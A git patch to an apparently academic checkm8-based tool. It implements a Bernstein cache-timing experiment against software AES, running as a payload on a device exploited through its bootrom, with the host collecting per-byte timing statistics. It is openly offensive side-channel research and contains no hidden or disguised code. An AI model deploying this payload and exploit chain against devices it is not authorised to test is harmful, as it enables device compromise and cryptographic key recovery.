From 6ec02145b35fa58403bea67b449b15cef6334146 Mon Sep 17 00:00:00 2001 From: Gregor Haas Date: Mon, 24 Feb 2020 15:03:02 -0500 Subject: [PATCH] implemented bernstein-based aes timing experiment --- c8_remote/lib/payload/src/aes_sw.c | 72 +++++++--- c8_remote/main.c | 222 +++++++++++++++++------------ include/checkm8_config.h | 2 +- 3 files changed, 180 insertions(+), 116 deletions(-) diff --git a/c8_remote/lib/payload/src/aes_sw.c b/c8_remote/lib/payload/src/aes_sw.c index a88b2ac..13e3058 100644 --- a/c8_remote/lib/payload/src/aes_sw.c +++ b/c8_remote/lib/payload/src/aes_sw.c @@ -1,4 +1,5 @@ #include "bootrom_func.h" +#include "bootrom_type.h" #include "cacheutil.h" PAYLOAD_SECTION @@ -112,12 +113,9 @@ void expand_key(unsigned char key[16], unsigned char key_sched[176], int n, PAYLOAD_SECTION void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char key[16], - unsigned char sbox[16][16], unsigned char rc_lookup[11], + unsigned char sbox[16][16], unsigned char key_sched[176], unsigned char mul2[256], unsigned char mul3[256]) { - unsigned char key_sched[176]; - expand_key(key, key_sched, 11, sbox, rc_lookup); - unsigned int num_blocks = msg_len / 16; unsigned char *block; @@ -147,14 +145,6 @@ uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[ unsigned char mul2[256], unsigned char mul3[256]) { unsigned long long start = 0; -// int i, j; -// for(i = 0; i < 256; i++) -// { -// for(j = 0; j < 4; j++) -// { -// clean_inv_l1_setway(i, j); -// } -// } start = get_ticks(); aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3); @@ -164,8 +154,15 @@ uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[ PAYLOAD_SECTION void entry_async(uint64_t *base) { - unsigned long long start = 0, end = 0; + int i, j, iter_count = 0; + unsigned long long start = 0; + unsigned char *addr; + unsigned char msg_old[16]; + unsigned char key_sched[176]; + double timing; + + // get initial params unsigned char *msg = (unsigned char *) base[0]; unsigned int msg_len = (unsigned int) base[1]; unsigned char *key = (unsigned char *) base[2]; @@ -174,20 +171,51 @@ void entry_async(uint64_t *base) unsigned char *mul2 = (unsigned char *) base[5]; unsigned char *mul3 = (unsigned char *) base[6]; - base[0] = 0; + expand_key(key, key_sched, 11, sbox, rc_lookup); + + struct aes_sw_bernstein_data *data = (struct aes_sw_bernstein_data *) base; + event_new(&data->ev_data, 1, 0); + event_new(&data->ev_done, 1, 0); + + data->count = 0; + for(i = 0; i < 16; i++) + { + for(j = 0; j < 16; j++) + { + data->t[i][j] = 0; + data->tsq[i][j] = 0; + data->tnum[i][j] = 0; + } + } + while(1) { - __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start)); - aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3); - __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end)); + for(i = 0; i < 16; i++) + msg_old[i] = msg[i]; - if(2 * end - start - 64 > 0) + for(addr = sbox; addr < sbox + 256; addr += 64) + inv_va(addr); + + + start = get_ticks(); + aes128_encrypt_ecb(msg, msg_len, key, sbox, key_sched, mul2, mul3); + timing = (double) (get_ticks() - start); + + for(i = 0; i < 16; i++) { - timer_register_int(2 * end - start - 64); - wfi(); + data->t[i][msg_old[i]] += timing; + data->tsq[i][msg_old[i]] += (timing * timing); + data->tnum[i][msg_old[i]] += 1; + + data->count++; + data->ttotal += timing; } - base[0]++; - if(base[0] % 100000 == 0) task_resched(); + iter_count++; + if(iter_count % 100000 == 0) + { + if(event_try(&data->ev_data, 1)) + event_wait(&data->ev_done); + } } } \ No newline at end of file diff --git a/c8_remote/main.c b/c8_remote/main.c index e91e5d2..fb853ca 100644 --- a/c8_remote/main.c +++ b/c8_remote/main.c @@ -4,17 +4,20 @@ #include #include #include +#include +#include #include "command.h" #include "payload.h" #include "usb_helpers.h" +#include "bootrom_addr.h" +#include "bootrom_type.h" #ifdef CHECKM8_LOGGING #include #include #include -#include #endif @@ -160,6 +163,7 @@ struct aes_pointers struct aes_pointers *install_aes_data(struct pwned_device *dev) { + int close; struct aes_pointers *res = malloc(sizeof(struct aes_pointers)); unsigned char sbox[256] = @@ -224,11 +228,16 @@ struct aes_pointers *install_aes_data(struct pwned_device *dev) 0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a }; - if(IS_CHECKM8_FAIL(open_device_session(dev))) + if(is_device_session_open(dev)) close = 0; + else { - printf("failed to open device session\n"); - free(res); - return NULL; + close = 1; + if(IS_CHECKM8_FAIL(open_device_session(dev))) + { + printf("failed to open device session\n"); + free(res); + return NULL; + } } res->addr_sbox = install_data(dev, SRAM, sbox, 256); @@ -263,11 +272,14 @@ struct aes_pointers *install_aes_data(struct pwned_device *dev) return NULL; } - if(IS_CHECKM8_FAIL(close_device_session(dev))) + if(close) { - printf("failed to close device session\n"); - free(res); - return NULL; + if(IS_CHECKM8_FAIL(close_device_session(dev))) + { + printf("failed to close device session\n"); + free(res); + return NULL; + } } return res; @@ -351,58 +363,52 @@ void aes_sw(struct pwned_device *dev) close_device_session(dev); } -void aes_sw_bernstein(struct pwned_device *dev) +DEV_PTR_T aes_sw_bernstein(struct pwned_device *dev) { - int i, j; - double timing; - - double packets = 0; - double ttotal = 0; - double t[16][256] = {0}; - double tsq[16][256] = {0}; - long long tnum[16][256] = {0}; - double u[16][256] = {0}; - double udev[16][256] = {0}; - DEV_PTR_T addr_data, addr_key, addr_async_buf; + unsigned char data[16]; unsigned char key[16]; + memset(key, 0, 16); - for(j = 0; j < 16; j++) - key[j] = random(); + if(IS_CHECKM8_FAIL(open_device_session(dev))) + { + printf("failed to open device session\n"); + return DEV_PTR_NULL; + } struct dev_cmd_resp *resp; struct aes_pointers *ptrs = install_aes_data(dev); if(ptrs == NULL) { printf("failed to install aes constants\n"); - return; + return DEV_PTR_NULL; } addr_data = install_data(dev, SRAM, data, 16); if(addr_data == DEV_PTR_NULL) { printf("failed to install aes data\n"); - return; + return DEV_PTR_NULL; } addr_key = install_data(dev, SRAM, key, 16); if(addr_key == DEV_PTR_NULL) { printf("failed to install aes key\n"); - return; + return DEV_PTR_NULL; } if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM))) { printf("failed to install sync payload\n"); - return; + return DEV_PTR_NULL; } if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW, SRAM))) { printf("failed to install aes payload\n"); - return; + return DEV_PTR_NULL; } resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0); @@ -410,79 +416,24 @@ void aes_sw_bernstein(struct pwned_device *dev) { printf("failed to execute sync payload\n"); free_dev_cmd_resp(resp); - return; + return DEV_PTR_NULL; } free_dev_cmd_resp(resp); - addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW, 32, - 7, addr_data, 16, addr_key, - ptrs->addr_sbox, ptrs->addr_rc, ptrs->addr_mul2, ptrs->addr_mul3); + addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW, + sizeof(struct aes_sw_bernstein_data), + 7, addr_data, 16, addr_key, + ptrs->addr_sbox, ptrs->addr_rc, ptrs->addr_mul2, ptrs->addr_mul3); run_payload_async(dev, PAYLOAD_AES_SW); - close_device_session(dev); - - for(i = 0; i < 1000000; i++) + if(IS_CHECKM8_FAIL(close_device_session(dev))) { - for(j = 0; j < 16; j++) - data[j] = random(); - - resp = write_gadget(dev, addr_data, data, 16); - if(IS_CHECKM8_FAIL(resp->ret)) - { - printf("failed to update data\n"); - return; - } - free_dev_cmd_resp(resp); - - resp = execute_payload(dev, PAYLOAD_AES_SW, 0, 7, - addr_data, 16, addr_key, - ptrs->addr_sbox, ptrs->addr_rc, ptrs->addr_mul2, ptrs->addr_mul3); - if(IS_CHECKM8_FAIL(resp->ret)) - { - printf("failed to execute sw AES payload\n"); - free_dev_cmd_resp(resp); - return; - } - - timing = (double) resp->retval; - printf("%i) -> got timing %f\n", i, timing); - free_dev_cmd_resp(resp); - - for(j = 0; j < 16; j++) - { - ++packets; - ttotal += timing; - t[j][data[j]] += timing; - tsq[j][data[j]] += timing * timing; - tnum[j][data[j]] += 1; - } + printf("failed to close device session\n"); + return DEV_PTR_NULL; } - for(i = 0; i < 16; i++) - { - for(j = 0; j < 256; j++) - { - u[i][j] = t[i][j] / tnum[i][j]; - udev[i][j] = tsq[i][j] / tnum[i][j]; - udev[i][j] -= u[i][j] * u[i][j]; - udev[i][j] = sqrt(udev[i][j]); - } - } - - for(i = 0; i < 16; i++) - { - for(j = 0; j < 256; j++) - { - printf("%2d %4d %3d %lld %.3f %.3f %.3f %.3f\n", - i, 16, j, tnum[i][j], u[i][j], udev[i][j], - u[i][j] - (ttotal / packets), udev[i][j] / sqrt(tnum[i][j]) - ); - } - } - - uninstall_all_payloads(dev); - uninstall_all_data(dev); free(ptrs); + return addr_async_buf; } void usb_task_exit(struct pwned_device *dev) @@ -539,7 +490,15 @@ void usb_task_exit(struct pwned_device *dev) int main() { struct dev_cmd_resp *resp; + struct aes_sw_bernstein_data *data; struct pwned_device *dev = exploit_device(); + DEV_PTR_T addr_async_buf; + + int j, b; + double u[16][256]; + double udev[16][256]; + double taverage; + if(dev == NULL || dev->status == DEV_NORMAL) { printf("Failed to exploit device\n"); @@ -549,7 +508,84 @@ int main() fix_heap(dev); demote_device(dev); - aes_sw_bernstein(dev); + addr_async_buf = aes_sw_bernstein(dev); + printf("got async buf ptr %llx\n", addr_async_buf); + if(addr_async_buf == DEV_PTR_NULL) + { + return -1; + } + + while(1) + { + sleep(15); + if(IS_CHECKM8_FAIL(open_device_session(dev))) + { + printf("failed to open device session"); + return -1; + } + + resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1, + addr_async_buf + offsetof(struct aes_sw_bernstein_data, ev_data)); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to signal for data\n"); + free_dev_cmd_resp(resp); + return -1; + } + + free_dev_cmd_resp(resp); + resp = read_gadget(dev, addr_async_buf, sizeof(struct aes_sw_bernstein_data)); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to get data from device\n"); + free_dev_cmd_resp(resp); + return -1; + } + + data = (struct aes_sw_bernstein_data *) resp->data; + printf("have count %lli\n", data->count); + + taverage = data->ttotal / (double) data->count; + for(j = 0; j < 16; j++) + { + for(b = 0; b < 256; b++) + { + u[j][b] = data->t[j][b] / data->tnum[j][b]; + udev[j][b] = data->tsq[j][b] / data->tnum[j][b]; + udev[j][b] -= u[j][b] * u[j][b]; + udev[j][b] = sqrt(udev[j][b]); + } + } + + for(j = 0; j < 16; j++) + { + for(b = 0; b < 256; b++) + { + printf("%2d %3d %lli %.3f %.3f %.3f %.3f\n", + j, b, (long long) data->tnum[j][b], + u[j][b], udev[j][b], + u[j][b] - taverage, udev[j][b] / sqrt(data->tnum[j][b]) + ); + } + } + + free_dev_cmd_resp(resp); + resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1, + addr_async_buf + offsetof(struct aes_sw_bernstein_data, ev_done)); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("failed to signal data end\n"); + free_dev_cmd_resp(resp); + return -1; + } + + free_dev_cmd_resp(resp); + if(IS_CHECKM8_FAIL(close_device_session(dev))) + { + printf("failed to close device session\n"); + return -1; + } + } free_device(dev); } diff --git a/include/checkm8_config.h b/include/checkm8_config.h index da36e16..83d8ca9 100644 --- a/include/checkm8_config.h +++ b/include/checkm8_config.h @@ -1,7 +1,7 @@ #ifndef CHECKM8_TOOL_CHECKM8_CONFIG_H #define CHECKM8_TOOL_CHECKM8_CONFIG_H -//#define CHECKM8_LOGGING +#define CHECKM8_LOGGING //#define WITH_ARDUINO #define ARDUINO_DEV "/dev/ttyACM0"